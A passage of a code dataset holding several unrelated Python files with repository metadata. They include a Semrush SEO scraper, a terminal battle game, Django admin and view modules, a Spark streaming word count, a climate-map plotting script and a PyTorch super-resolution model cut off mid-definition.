return url\n\n def _semrush_url_organic(self, url, try_other_url=True, ignore_cache=False):\n today = date.today()\n\n cache = Semrush.query.filter_by(url=url).first()\n if not ignore_cache and cache and cache.url_organic_date == today:\n self.logger.info('Using cached Semrush url_organic report for {}'.format(url))\n else:\n self.logger.info('Loading Semrush url_organic report for {}'.format(url))\n if not cache:\n cache = Semrush(url=url)\n db.session.add(cache)\n\n endpoint = 'https://api.semrush.com/'\n\n params = {\n 'type': 'url_organic',\n 'key': self.SEMRUSH_KEY,\n 'url': url,\n 'database': 'us',\n 'display_limit': 200,\n 'export_columns': 'Ph,Po,Nq,Cp,Co,Tr,Tc'\n }\n\n try:\n response = requests.get(endpoint, params=params)\n response.raise_for_status()\n except:\n self.logger.error('Can not load Semrush report: {}'.format(traceback.format_exc()))\n return\n else:\n cache.url_organic = response.text\n cache.url_organic_date = today\n\n if 'ERROR 50' in cache.url_organic and try_other_url:\n if cache.seo_url:\n self.logger.info('Using cached SEO url for {}'.format(url))\n else:\n cache.seo_url = self._get_seo_url(url)\n\n if cache.seo_url != url:\n db.session.commit()\n\n self.logger.info('Processing SEO URL: {}'.format(cache.seo_url))\n self._semrush_url_organic(cache.seo_url, False, ignore_cache)\n\n return\n\n db.session.commit()\n\n product_id = re.search(r'(\\d+)\\.ip', url)\n if product_id:\n report_filename = product_id.group(1)\n else:\n report_filename = self._url_to_filename(url)\n\n report_filepath = self.get_file_path_for_result('{}_url_organic.csv'.format(report_filename))\n\n with open(report_filepath, 'w') as report_file:\n report_file.write(cache.url_organic.encode('utf-8'))\n\n def _semrush_backlinks_overview(self, url, try_other_url=True, ignore_cache=False):\n today = date.today()\n\n cache = Semrush.query.filter_by(url=url).first()\n if not ignore_cache and cache and cache.backlinks_overview_date == today:\n self.logger.info('Using cached Semrush backlinks_overview report for {}'.format(url))\n else:\n self.logger.info('Loading Semrush backlinks_overview report for {}'.format(url))\n if not cache:\n cache = Semrush(url=url)\n db.session.add(cache)\n\n endpoint = 'https://api.semrush.com/analytics/v1/'\n\n params = {\n 'type': 'backlinks_overview',\n 'key': self.SEMRUSH_KEY,\n 'target': url,\n 'target_type': 'url',\n 'export_columns': 'total'\n }\n\n try:\n response = requests.get(endpoint, params=params)\n response.raise_for_status()\n except:\n self.logger.error('Can not load Semrush report: {}'.format(traceback.format_exc()))\n return\n else:\n cache.backlinks_overview = response.text\n cache.backlinks_overview_date = today\n\n if 'ERROR 50' in cache.backlinks_overview and try_other_url:\n if cache.seo_url:\n self.logger.info('Using cached SEO url for {}'.format(url))\n else:\n cache.seo_url = self._get_seo_url(url)\n\n if cache.seo_url != url:\n db.session.commit()\n\n self.logger.info('Processing SEO URL: {}'.format(cache.seo_url))\n self._semrush_backlinks_overview(cache.seo_url, False, ignore_cache)\n\n return\n\n db.session.commit()\n\n product_id = re.search(r'(\\d+)\\.ip', url)\n if product_id:\n report_filename = product_id.group(1)\n else:\n report_filename = self._url_to_filename(url)\n\n report_filepath = self.get_file_path_for_result('{}_backlinks_overview.csv'.format(report_filename))\n\n with open(report_filepath, 'w') as report_file:\n report_file.write(cache.backlinks_overview.encode('utf-8'))\n","repo_name":"aprosdev/ecom-predictor","sub_path":"sitemap_utilities/sitemap_service/app/spiders/samsclub.py","file_name":"samsclub.py","file_ext":"py","file_size_in_byte":14911,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"29114102866","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- \n\n# Author: Ewa Zalewska\n# Concept: Simple terminal game\n# Github: https://github.com/Mewwaa\n\n\n\nfrom important_Mewwaa import Item, Person, Spell, specialItem\nimport random\n\nfire = Spell(\"Fire\", 10, 100, \"black\")\nthunder = Spell(\"Thunder\", 10, 100, \"black\")\nblizzard = Spell(\"Blizzard\", 10, 100, \"black\")\n\ncure = Spell(\"Cure\", 10, 100, \"white\")\n\npotion = Item(\"Potion\",\"potion\", \"Heals 50HP\", 50)\nhealingPotion = Item(\"healingPotion\",\"potion\", \"Heals 100HP\", 100)\nsuperHealingPotion = Item(\"superHealingPotion\",\"potion\", \"Heals 500HP\", 500)\nmanaElixir = Item(\"manaElixir\",\"manaElixir\", \"Restores MP\", 300)\nmeteor = Item(\"meteor\",\"attack\", \"Attack with 700 damage\", 700)\n\npoison = specialItem(\"Poison\",\"poison\", \"Attack with 400 damage\", 400)\nextraPoison = specialItem(\"extraPoison\",\"extraPoison\",\"Attack with 700 damage\", 700)\nsuperExtraPoison = specialItem(\"superExtraPoison\",\"superExtraPoison\", \"Attack with 900 damage\", 900)\n\nplayer_magic = [fire, thunder, blizzard, cure]\nplayer_items = [{\"item\": potion, \"quantity\": 5},\n {\"item\": healingPotion, \"quantity\": 5},\n {\"item\": superHealingPotion, \"quantity\": 5},\n {\"item\": manaElixir, \"quantity\": 5},\n {\"item\": meteor, \"quantity\": 5}]\n\nplayer_specialItems = [{\"item\": poison, \"quantity\": 1},\n {\"item\": extraPoison, \"quantity\": 1},\n {\"item\": superExtraPoison, \"quantity\": 1}]\n\nplayer = Person(\"Marchewka\", 700, 65, 60, player_magic, player_items, player_specialItems)\n\nenemy1 = Person(\"Enemy 1\", 1200, 65, 12, player_magic, [],[])\nenemy2 = Person(\"Enemy 2\", 300, 65, 100, player_magic, [],[])\nenemy3 = Person(\"Enemy 3\", 1200, 65, 405, player_magic, [],[])\nenemy4 = Person(\"Enemy 4\", 1000,400, 100, player_magic, [],[])\n\nenemies = [enemy1, enemy2, enemy3, enemy4]\n\n\nrunning = True\n\nwhile running:\n print(\"Let's start the game (☆^O^☆)\" )\n player.choose_action()\n choice = input(\"Choose action: \")\n index = int(choice) - 1\n\n if index == 0:\n print(\"Let's attack!!!\")\n dmg = player.generate_damage()\n enemy_id = player.choose_target(enemies)\n enemies[enemy_id].take_damage(dmg)\n print(\"You attacked\", enemies[enemy_id].name, \" for: \", dmg, \"points of damage, enemy HP: \", enemies[enemy_id].get_hp())\n elif index == 1:\n print(\"Let's use magic spell\")\n player.choose_magic()\n magic_choice = int(input(\"Choose magic \")) - 1\n spell = player.magic[magic_choice]\n magic_property = spell.generate_damage()\n\n current_mp = player.get_mp()\n if spell.cost > current_mp:\n print(\"Not enaugh mana\")\n else:\n player.reduce_mp(spell.cost)\n\n if spell.magic_type == \"white\":\n print(\"Healing\")\n player.heal(magic_property)\n print(\"Player heals for\", magic_property, \"current HP:\", player.get_hp())\n elif spell.magic_type == \"black\":\n print(\"Attack!!!\")\n enemy_id = player.choose_target(enemies)\n enemies[enemy_id].take_damage(magic_property)\n print(\"You attacked\", enemies[enemy_id].name, \" for: \", magic_property, \"points of damage, enemy HP: \", enemies[enemy_id].get_hp())\n elif index == 2:\n print(\"Use items\")\n player.choose_item()\n item_choice = int(input(\"Choose item \")) - 1\n\n item = player.items[item_choice][\"item\"]\n item_quantity = player.items[item_choice][\"quantity\"]\n\n if item_quantity == 0:\n print(\"You have no such item in your inventory\")\n else:\n player.items[item_choice][\"quantity\"] -= 1\n\n\n if item.itemType == \"potion\":\n player.heal(item.prop)\n print(\"Player heals for\", item.prop, \"current HP:\", player.get_hp())\n if item_quantity <=3:\n print(\"WARNING!!! Less than 3 items\")\n elif item.itemType == \"elixir\":\n player.hp = player.maxhp\n player.mp = player.maxmp\n print(\"Player hp and mp fully restored\")\n \n elif item.itemType == \"attack\":\n enemy_id = player.choose_target(enemies)\n enemies[enemy_id].take_damage(item.prop)\n print(\"You attacked\", enemies[enemy_id].name, \" for: \", item.prop, \"points of damage, enemy HP: \", enemies[enemy_id].get_hp())\n elif index == 3:\n print(\"Use special items\")\n player.choose_specialItem()\n specialItem_choice = int(input(\"Choose special item\")) - 1\n\n specialItem = player_specialItems[specialItem_choice][\"item\"]\n specialItem_quantity = player_specialItems[specialItem_choice][\"quantity\"]\n\n if specialItem_quantity == 0:\n print(\"You have no such item in your inventory\")\n else:\n player.specialItems[specialItem_choice][\"quantity\"] -= 1\n \n if specialItem.specialItemType == \"poison\":\n enemy_id = player.choose_target(enemies)\n enemies[enemy_id].take_damage(specialItem.prop)\n print(\"You attacked\", enemies[enemy_id].name, \" for: \", specialItem.prop, \"points of damage, enemy HP: \", enemies[enemy_id].get_hp())\n\n\n elif specialItem.specialItemType == \"extraPoison\":\n enemy_id = player.choose_target(enemies)\n enemies[enemy_id].take_damage(specialItem.prop)\n print(\"You attacked\", enemies[enemy_id].name, \" for: \", specialItem.prop, \"points of damage, enemy HP: \", enemies[enemy_id].get_hp())\n elif specialItem.specialItemType == \"extraPoison2\":\n enemy_id = player.choose_target(enemies)\n enemies[enemy_id].take_damage(specialItem.prop)\n print(\"You attacked\", enemies[enemy_id].name, \" for: \", specialItem.prop, \"points of damage, enemy HP: \", enemies[enemy_id].get_hp())\n elif index == 4:\n running = False\n print(\"You gave up\")\n print(\"┏༼ ◉ ╭╮ ◉༽┓\")\n \n\n enemy_id = random.choice([1,1,1,1,0,0,0,2,3,3,3])\n enemy_choice = random.choice([0,0,0,1,1,1,1,1,0,1,1])\n enemy = enemies[enemy_id]\n\n if enemy_choice == 0:\n print(\"Enemy attack!!!\")\n enemy_dmg = enemy.generate_damage()\n player.take_damage(enemy_dmg)\n print(\"Enemy\", enemy.name ,\" attacked for: \", enemy_dmg, \"points of damage, Your HP: \", player.get_hp())\n elif enemy_choice == 1:\n print(\"Enemy use magic spell\")\n magic_choice = random.randrange(0, len(enemy.magic)-1)\n spell = enemy.magic[magic_choice]\n magic_property = spell.generate_damage()\n\n if enemy.mp < spell.cost:\n print(\"Not enought mp to create magic attack\")\n else:\n enemy.reduce_mp(spell.cost)\n if spell.magic_type == \"white\":\n enemy.heal(magic_property)\n print(\"enemy heals for\", magic_property, \"current enemy hp:\", enemy.get_hp())\n elif spell.magic_type == \"black\":\n player.take_damage(magic_property)\n print(\"Enemy\", enemy.name ,\" attacked for: \", magic_property, \"points of damage, Your HP: \", player.get_hp())\n\n defeated_enemies = 0 \n for enemy in enemies:\n if enemy.get_hp() == 0:\n defeated_enemies += 1\n \n if defeated_enemies == len(enemies):\n print(\"You win\")\n running = False\n elif player.get_hp() <= 0:\n print(\"You fail ┏༼ ◉ ╭╮ ◉༽┓\")\n running = False\n","repo_name":"thisIsAnshul/Basics-of-Python","sub_path":"Game_Mewwaa/game_Mewwaa.py","file_name":"game_Mewwaa.py","file_ext":"py","file_size_in_byte":7618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73150663874","text":"from django.contrib import admin\r\nfrom .models import *\r\n\r\n\r\n# ----------------------АВИАКОМПАНИИ---------------------------------------------------------\r\n\r\nclass AirlinesAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title', 'character_code',)\r\n list_display_links = ('id', 'title', 'character_code',)\r\n search_fields = ('id', 'title', 'character_code',)\r\n \r\nclass AirplaneAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'airline', 'title',)\r\n list_display_links = ('id', 'title',)\r\n search_fields = ('id', 'airline', 'title',)\r\n\r\nclass EquipmentAirplaneAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'airplane', 'equipment', 'seats',)\r\n list_display_links =('id',)\r\n search_fields = ('id', 'airplane', 'equipment', 'seats',)\r\n \r\n\r\nadmin.site.register(Airlines, AirlinesAdmin)\r\nadmin.site.register(Airplane, AirplaneAdmin)\r\nadmin.site.register(EquipmentAirplane, EquipmentAirplaneAdmin)\r\n\r\n# -------------------------------------------------------------------------------\r\n# \r\n# \r\n# -------------------------ЛОКАЦИИ------------------------------------------------------\r\nclass TypeCountryAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title',)\r\n list_display_links = ('id', 'title',)\r\n search_fields = ('id', 'title',)\r\n \r\nclass CountryAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title', 'type')\r\n list_display_links = ('id', 'title',)\r\n search_fields = ('id', 'title', 'type')\r\n\r\nadmin.site.register(TypeCountry, TypeCountryAdmin)\r\nadmin.site.register(Country, CountryAdmin)\r\n\r\n@admin.register(City)\r\nclass CityAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title', 'country', 'get_type',)\r\n list_display_links =('id', 'title')\r\n search_fields = ('id', 'title', 'country', 'get_type',)\r\n\r\n def get_queryset(self, request):\r\n return super(CityAdmin,self).get_queryset(request).select_related()\r\n\r\n @admin.display(ordering='country', description='Тип страны')\r\n def get_type(self, obj):\r\n return obj.country.type\r\n\r\n\r\n@admin.register(Airport)\r\nclass AirportAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title', 'city', 'get_country',)\r\n list_display_links =('id', 'title')\r\n search_fields = ('id', 'title', 'city', 'get_country',)\r\n\r\n def get_queryset(self, request):\r\n return super(AirportAdmin,self).get_queryset(request).select_related()\r\n\r\n @admin.display(ordering='country', description='Страна')\r\n def get_country(self, obj):\r\n return obj.city.country\r\n\r\n\r\n# -------------------------------------------------------------------------------\r\n# \r\n# \r\n# -------------------------РЕЙСЫ------------------------------------------------------\r\n@admin.register(TypeFlight)\r\nclass TypeFlightAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title',)\r\n list_display_links =('id', 'title',)\r\n search_fields = ('id', 'title',)\r\n\r\n@admin.register(Flight)\r\nclass FlightAdmin(admin.ModelAdmin):\r\n list_display = ('id', 'title', 'type', 'airline', 'airplane', 'equipmentseats', 'arrival', 'departure', 'departurelAirport', 'arrivalAirport')\r\n list_display_links =('id', 'title',)\r\n search_fields = ('id', 'title', 'type', 'airline', 'airplane', 'equipmentseats', 'arrival', 'departure', 'departurelAirport', 'arrivalAirport')\r\n\r\n def get_queryset(self, request):\r\n return super(FlightAdmin,self).get_queryset(request).select_related()\r\n\r\n @admin.display(ordering='airplane', description='Количество мест')\r\n def equipmentseats(self, obj):\r\n return obj.equipmentAirplane.seats\r\n \r\n # @admin.display(ordering='airplane', description='Тип страны')\r\n # def typeCountry(self, obj):\r\n # return obj.arrival.country.type\r\n\r\nadmin.site.register(TimetableList)\r\nadmin.site.register(Timetable)\r\nadmin.site.register(TimetableStatus)\r\n","repo_name":"kekaiFB/tabe","sub_path":"timetable/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25089494401","text":"from random import randint\n\nnum1 = randint(1, 99)\nnum2 = randint(1, 99)\nnum_sum = num1 + num2\n\nuser_input = int(input(\"What is the sum of %s and %s? \" %(num1, num2)))\n\nif user_input == num_sum:\n print(\"You are correct!\")\nelse:\n print(\"You are incorrect :(\")\n\nprint(\"The number is \" + str(num_sum))","repo_name":"seanrcollings/school","sub_path":"cs1400/CaseStudies/4.4.py","file_name":"4.4.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7934872132","text":"# Models and Redircet\r\n\r\nfrom django.shortcuts import render,redirect\r\nfrom user.models import Topic, Article\r\n\r\n# Http\r\nfrom django.http import HttpRequest,HttpResponse\r\n\r\n\r\n# Home Views\r\ndef home(request:HttpRequest):\r\n topics = Topic.objects.order_by('pub_time')[:7]\r\n articles = Article.objects.order_by('pub_time')\r\n context = {'topics': topics, 'articles': articles}\r\n return render(request, 'home/home.html', context)\r\n\r\n\r\ndef article(request, article_id):\r\n article = Article.objects.get(id=article_id)\r\n context = {'article': article}\r\n return render(request, 'home/article.html', context)\r\n\r\ndef topic(request, topic_id):\r\n topic = Topic.objects.get(id=topic_id)\r\n articles = topic.article_set.order_by('-pub_time')\r\n context = {'topic': topic, 'articles': articles}\r\n return render(request, 'home/topic.html', context)\r\n\r\n\r\ndef loginError(request):\r\n topics = Topic.objects.order_by('pub_time')[:7]\r\n articles = Article.objects.order_by('pub_time')\r\n context = {'topics': topics, 'articles': articles}\r\n return render(request,'home/loginError.html',context)\r\n\r\ndef signOutError(request):\r\n topics = Topic.objects.order_by('pub_time')[:7]\r\n articles = Article.objects.order_by('pub_time')\r\n context = {'topics': topics, 'articles': articles}\r\n return render(request,'home/out.html',context)\r\n\r\ndef signUpError(request):\r\n topics = Topic.objects.order_by('pub_time')[:7]\r\n articles = Article.objects.order_by('pub_time')\r\n context = {'topics': topics, 'articles': articles}\r\n return render(request,'home/signup.html',context)\r\n","repo_name":"sulv9/CQUPT_BBS","sub_path":"bbs/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20307734321","text":"from __future__ import print_function\nimport sys\nfrom pyspark import SparkContext\nfrom pyspark.streaming import StreamingContext\n\ndef updateFunc(new_values, last_sum):\n return sum(new_values) + (last_sum or 0)\n\nif __name__ == \"__main__\":\n sc = SparkContext()\n ssc = StreamingContext(sc, 5)\n ssc.checkpoint(\"checkpoint\")\n lines = ssc.socketTextStream(\"localhost\", 9999)\n running_counts = lines.flatMap(lambda line: line.split(\" \"))\\\n .map(lambda word: (word, 1))\\\n .updateStateByKey(updateFunc)\n running_counts.pprint()\n ssc.start()\n ssc.awaitTermination()\n\n","repo_name":"SparkBarcelona/libro","sub_path":"Capitulo6/stateful_network_wordcount.py","file_name":"stateful_network_wordcount.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"1138140594","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport sys\nimport matplotlib.colors as colors\nimport matplotlib.cm as cm\nfrom matplotlib import rcParams\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom scipy.interpolate import griddata\nfrom scipy.interpolate import UnivariateSpline\n\nrcParams.update({'font.size': 24})\n\nos.chdir('..')\nhome = os.getcwd() + \"/\"\n\nplot_dir = home + \"Figs/\"\ndata_dir = home + \"data/\"\n\ndef colorbar(mappable,x0,y0):\n last_axes = plt.gca()\n ax = mappable.axes\n fig1 = ax.figure\n cax = fig1.add_axes([x0,y0,0.35,0.015])\n cbar = fig1.colorbar(mappable, cax=cax,orientation='horizontal')\n cbar.ax.xaxis.set_ticks_position('top')\n plt.sca(last_axes)\n return cbar\n\ndef plot_map(ax,ax_right,Q,cmap,vmin,vmax,ax_idx):\n if ax_idx > 1:\n Q[Q==0] = 1e-6\n if ax_idx == 2:\n Q = np.log10(Q)\n vmin = 0\n vmax = np.log10(60)\n if ax_idx == 3:\n Q = np.log10(Q)\n vmin = -2\n vmax = 0\n if ax_idx == 4:\n Q = np.log10(Q)\n vmin = -2\n vmax = np.log10(0.3)\n xi = np.arange(0,91,1)\n yi = np.arange(0,101,1)\n zi = griddata((eps,alpha),Q,(xi[None,:],yi[:,None]),method = 'nearest')\n my_cmap = cm.get_cmap(cmap).copy()\n norm = colors.Normalize(vmin,vmax)\n cmmapable = cm.ScalarMappable(norm,my_cmap)\n cmmapable.set_array(range(0,1))\n\n \n CS = ax.pcolormesh(xi,yi,zi,cmap = my_cmap,vmin=vmin,vmax=vmax,shading='auto')\n cbar = colorbar(CS,ax_loc[ax_idx-1,0],ax_loc[ax_idx-1,1])\n\n ax.plot(23.4,10,color='w',marker='$\\oplus$',ms=25)\n if ax_idx == 2:\n ctick_rng = np.array([1,2,5,10,20,40])\n cticks = np.log10(ctick_rng)\n cticklabels = [\"%i\" % f for f in ctick_rng]\n cbar.ax.xaxis.set_ticks(cticks)\n cbar.ax.xaxis.set_ticklabels(cticklabels)\n if ax_idx ==3:\n ctick_rng = np.concatenate((np.arange(0.01,0.1,0.01),np.arange(0.1,1.1,0.1)))\n cticks = np.log10(ctick_rng)\n cticklabels = [\"0.01\"]\n for l in range(0,16):\n cticklabels.append(\"\")\n if l == 7:\n cticklabels.append(\"0.1\")\n cticklabels.append(\"1\")\n cbar.ax.xaxis.set_ticks(cticks)\n cbar.ax.xaxis.set_ticklabels(cticklabels,fontsize=10)\n if ax_idx ==4:\n ctick_rng = np.concatenate((np.arange(0.01,0.1,0.01),[0.1,0.2,0.3]))\n cticks = np.log10(ctick_rng)\n cticklabels = [\"0.01\"]\n for l in range(0,9):\n cticklabels.append(\"\")\n if l == 7:\n cticklabels.append(\"0.1\")\n cticklabels.append(\"0.3\")\n cbar.ax.xaxis.set_ticks(cticks)\n cbar.ax.xaxis.set_ticklabels(cticklabels,fontsize=10)\n if ax_idx == 1:\n cticks = np.arange(0,105,15)\n cbar.ax.xaxis.set_ticks(cticks)\n cbar.ax.tick_params(axis='both', direction='out',length = 8.0, width = 8.0,labelsize='large')\n ax.text(0.02,0.88,sublabel[ax_idx-1],color='k',fontsize=fs,horizontalalignment='left',transform=ax.transAxes)\n ax.set_xticks(np.arange(0,105,15))\n ax.set_ylim(0,101)\n ax.set_xlim(0,90)\n \n ax_right.set_ylim(0,101)\n ax_right.set_yticks(per_ticks)\n ax_right.xaxis.set_visible(False)\n ax_right.tick_params(axis='both', direction='out',length = 8.0, width = 8.0,color='#8a8a8a')\n if ax_idx == 2 or ax_idx == 4:\n ax_right.set_yticklabels(['%i' % p for p in periods],color='gray')\n ax_right.set_ylabel(\"Rotation Period (hr)\",color='gray',fontsize=fs)\n else:\n ax_right.set_yticklabels([])\n \n if ax_idx == 1 or ax_idx == 3:\n ax.set_ylabel('$\\\\alpha$ ('+u'\\u2033'+'/yr)', fontsize=fs)\n if ax_idx == 2 or ax_idx == 4:\n ax.set_yticklabels([])\n if ax_idx >2:\n ax.set_xlabel(\"$\\epsilon_o$ (deg.)\",fontsize=fs)\n else:\n ax.set_xticklabels([])\n ax.set_yticks(np.arange(0,120,20))\n ax.tick_params(axis='both', direction='out',length = 8.0, width = 8.0,labelsize=fs)\n\nax_loc = np.array([[0.125,0.885],[0.55,0.885],[0.125,0.455],[0.55,0.455]])\n\naspect = 1.\nwidth = 13.\nlw = 4\nfs = 'x-large'\nclabel = [\"\",\"$\\Delta \\epsilon$\", \"$\\Delta T_s$\", \"$\\Delta f_{ice}$\", \"$\\Delta$ albedo\"]\nsublabel = ['a','b','c','d']\n\nfig = plt.figure(1,figsize=(aspect*width,width),dpi=300)\nax1 = fig.add_subplot(221)\nax1_right = ax1.twinx()\nax2 = fig.add_subplot(222)\nax2_right = ax2.twinx()\nax3 = fig.add_subplot(223)\nax3_right = ax3.twinx()\nax4 = fig.add_subplot(224)\nax4_right = ax4.twinx()\n\n\ni_p = 10\n\ndata = np.genfromtxt(data_dir+\"VPlanet_data_A_map_%i.txt\" % (i_p),delimiter=',',comments='#')\ndata = data[np.isfinite(data[:,2]),:]\ndata = data[data[:,0]>0,:]\ndata[data[:,4]==0.007,4] = 0.01\n\neps = data[:,0]\nalpha = data[:,1]\n\nplot_map(ax1,ax1_right,data[:,2],\"gist_rainbow\",0,90,1)\nplot_map(ax2,ax2_right,data[:,3],\"magma\",0,60,2)\nplot_map(ax3,ax3_right,data[:,4],\"plasma\",0,1,3)\nplot_map(ax4,ax4_right,data[:,5],\"gnuplot\",0,1,4)\n\n\nfig.subplots_adjust(hspace=0.25,wspace=0.2)\nfig.savefig(plot_dir+\"Fig10.png\",bbox_inches='tight',dpi=300)\nplt.close()","repo_name":"saturnaxis/Ice-ages-in-AlphaCen","sub_path":"python-scripts/plot_Fig10.py","file_name":"plot_Fig10.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2419086314","text":"import math\nfrom typing import Any\n\nimport numpy as np\nimport torch\nfrom torch import Tensor\nfrom torch import nn\nfrom torch.nn import functional as F_torch\n\n__all__ = [\n \"ArbSRRCAN\",\n \"arbsr_rcan\",\n]\n\n\nclass ArbSRRCAN(nn.Module):\n def __init__(\n self,\n in_channels: int = 3,\n out_channels: int = 3,\n channels: int = 64,\n num_rcab: int = 20,\n num_rg: int = 10,\n reduce_channels: int = 16,\n bias: bool = False,\n num_experts: int = 4,\n ) -> None:\n super(ArbSRRCAN, self).__init__()\n self.num_rg = num_rg\n\n # First layer\n self.conv1 = nn.Conv2d(in_channels, channels, (3, 3), (1, 1), (1, 1))\n\n # Residual Group\n trunk = []\n for _ in range(num_rg):\n trunk.append(_ResidualGroup(channels, reduce_channels, num_rcab))\n self.trunk = nn.Sequential(*trunk)\n\n # Scale-aware feature adaption block\n scale_aware_adaption = []\n for i in range(num_rg):\n scale_aware_adaption.append(_ScaleAwareFeatureAdaption(channels))\n self.scale_aware_adaption = nn.Sequential(*scale_aware_adaption)\n\n # Second layer\n self.conv2 = nn.Conv2d(channels, channels, (3, 3), (1, 1), (1, 1))\n\n # Scale-aware upsampling layer\n self.scale_aware_upsample = _ScaleAwareUpsampling(channels, bias, num_experts)\n\n # Final output layer\n self.conv3 = nn.Conv2d(channels, out_channels, (3, 3), (1, 1), (1, 1))\n\n def forward(self, x: Tensor, w_scale: Tensor, h_scale: Tensor = None) -> Tensor:\n return self._forward_impl(x, w_scale, h_scale)\n\n # Support torch.script function.\n def _forward_impl(self, x: Tensor, w_scale: Tensor, h_scale: Tensor) -> Tensor:\n out1 = self.conv1(x)\n\n out = out1\n for i in range(self.num_rg):\n out = self.trunk[i](out)\n out = self.scale_aware_adaption[i](out, w_scale, h_scale)\n\n out = self.conv2(out)\n out = torch.add(out, out1)\n out = self.scale_aware_upsample(out, w_scale, h_scale)\n out = self.conv3(out)\n\n out = torch.clamp_(out, 0.0, 1.0)\n\n return out\n\n\n# Copy from `https://github.com/The-Learning-And-Vision-Atelier-LAVA/ArbSR/blob/master/model/arbrcan.py`\ndef _grid_sample(x: Tensor, offset: Tensor, w_scale: Tensor, h_scale: Tensor) -> Tensor:\n # Generate grids\n b, _, h, w = x.size()\n grid = np.meshgrid(range(round(w_scale * w)), range(round(h_scale * h)))\n grid = np.stack(grid, axis=-1).astype(np.float64)\n grid = torch.Tensor(grid).to(x.device)\n\n # project into LR space\n grid[:, :, 0] = (grid[:, :, 0] + 0.5) / w_scale - 0.5\n grid[:, :, 1] = (grid[:, :, 1] + 0.5) / h_scale - 0.5\n\n # normalize to [-1, 1]\n grid[:, :, 0] = grid[:, :, 0] * 2 / (w - 1) - 1\n grid[:, :, 1] = grid[:, :, 1] * 2 / (h - 1) - 1\n grid = grid.permute(2, 0, 1).unsqueeze(0)\n grid = grid.expand([b, -1, -1, -1])\n\n # add offsets\n offset_0 = torch.unsqueeze(offset[:, 0, :, :] * 2 / (w - 1), dim=1)\n offset_1 = torch.unsqueeze(offset[:, 1, :, :] * 2 / (h - 1), dim=1)\n grid = grid + torch.cat((offset_0, offset_1), 1)\n grid = grid.permute(0, 2, 3, 1)\n\n # sampling\n output = F_torch.grid_sample(x, grid, padding_mode=\"zeros\", align_corners=True)\n\n return output\n\n\nclass _ScaleAwareConv(nn.Module):\n def __init__(\n self,\n in_channels: int,\n out_channels: int,\n kernel_size: int,\n stride: int,\n padding: str,\n bias: bool = False,\n num_experts: int = 4,\n ) -> None:\n super(_ScaleAwareConv, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n self.bias = bias\n self.num_experts = num_experts\n\n # Use fc layers to generate routing weights\n self.routing = nn.Sequential(\n nn.Linear(2, 64),\n nn.ReLU(True),\n nn.Linear(64, num_experts),\n nn.Softmax(1)\n )\n\n # Initialize experts\n weight_pool = []\n for i in range(num_experts):\n weight_pool.append(nn.Parameter(torch.Tensor(out_channels, in_channels, kernel_size, kernel_size)))\n nn.init.kaiming_uniform_(weight_pool[i], math.sqrt(5))\n self.weight_pool = nn.Parameter(torch.stack(weight_pool, 0))\n\n if bias:\n self.bias_pool = nn.Parameter(torch.Tensor(num_experts, out_channels))\n # Calculate fan_in\n dimensions = self.weight_pool.dim()\n if dimensions < 2:\n raise ValueError(\"Fan in and fan out can not be computed for tensor with fewer than 2 dimensions\")\n\n num_input_feature_maps = self.weight_pool.size(1)\n receptive_field_size = 1\n if self.weight_pool.dim() > 2:\n # math.prod is not always available, accumulate the product manually\n # we could use functools.reduce but that is not supported by TorchScript\n for s in self.weight_pool.shape[2:]:\n receptive_field_size *= s\n fan_in = num_input_feature_maps * receptive_field_size\n bound = 1 / math.sqrt(fan_in)\n nn.init.uniform_(self.bias_pool, -bound, bound)\n\n def forward(self, x: Tensor, w_scale: Tensor, h_scale: Tensor) -> Tensor:\n device = x.device\n\n # Use fc layers to generate routing weights\n w_scale /= torch.ones(1, 1).to(device)\n h_scale /= torch.ones(1, 1).to(device)\n routing_weights = self.routing(torch.cat([h_scale, w_scale], 1)).view(self.num_experts, 1, 1)\n\n # Fuse experts\n fused_weight = (self.weight_pool.view(self.num_experts, -1, 1) * routing_weights).sum(0)\n fused_weight = fused_weight.view(-1, self.in_channels, self.kernel_size, self.kernel_size)\n\n if self.bias:\n fused_bias = torch.mm(routing_weights, self.bias_pool).view(-1)\n else:\n fused_bias = None\n\n out = F_torch.conv2d(x, fused_weight, fused_bias, self.stride, self.padding)\n\n return out\n\n\nclass _ScaleAwareFeatureAdaption(nn.Module):\n def __init__(self, channels: int) -> None:\n super(_ScaleAwareFeatureAdaption, self).__init__()\n self.mask = nn.Sequential(\n nn.Conv2d(channels, 16, (3, 3), (1, 1), (1, 1)),\n nn.BatchNorm2d(16),\n nn.ReLU(True),\n\n nn.AvgPool2d(2),\n\n nn.Conv2d(16, 16, (3, 3), (1, 1), (1, 1)),\n nn.BatchNorm2d(16),\n nn.ReLU(True),\n nn.Conv2d(16, 16, (3, 3), (1, 1), (1, 1)),\n nn.BatchNorm2d(16),\n nn.ReLU(True),\n\n nn.Upsample(scale_factor=2, mode=\"bilinear\", align_corners=False),\n\n nn.Conv2d(16, 1, (3, 3), (1, 1), (1, 1)),\n 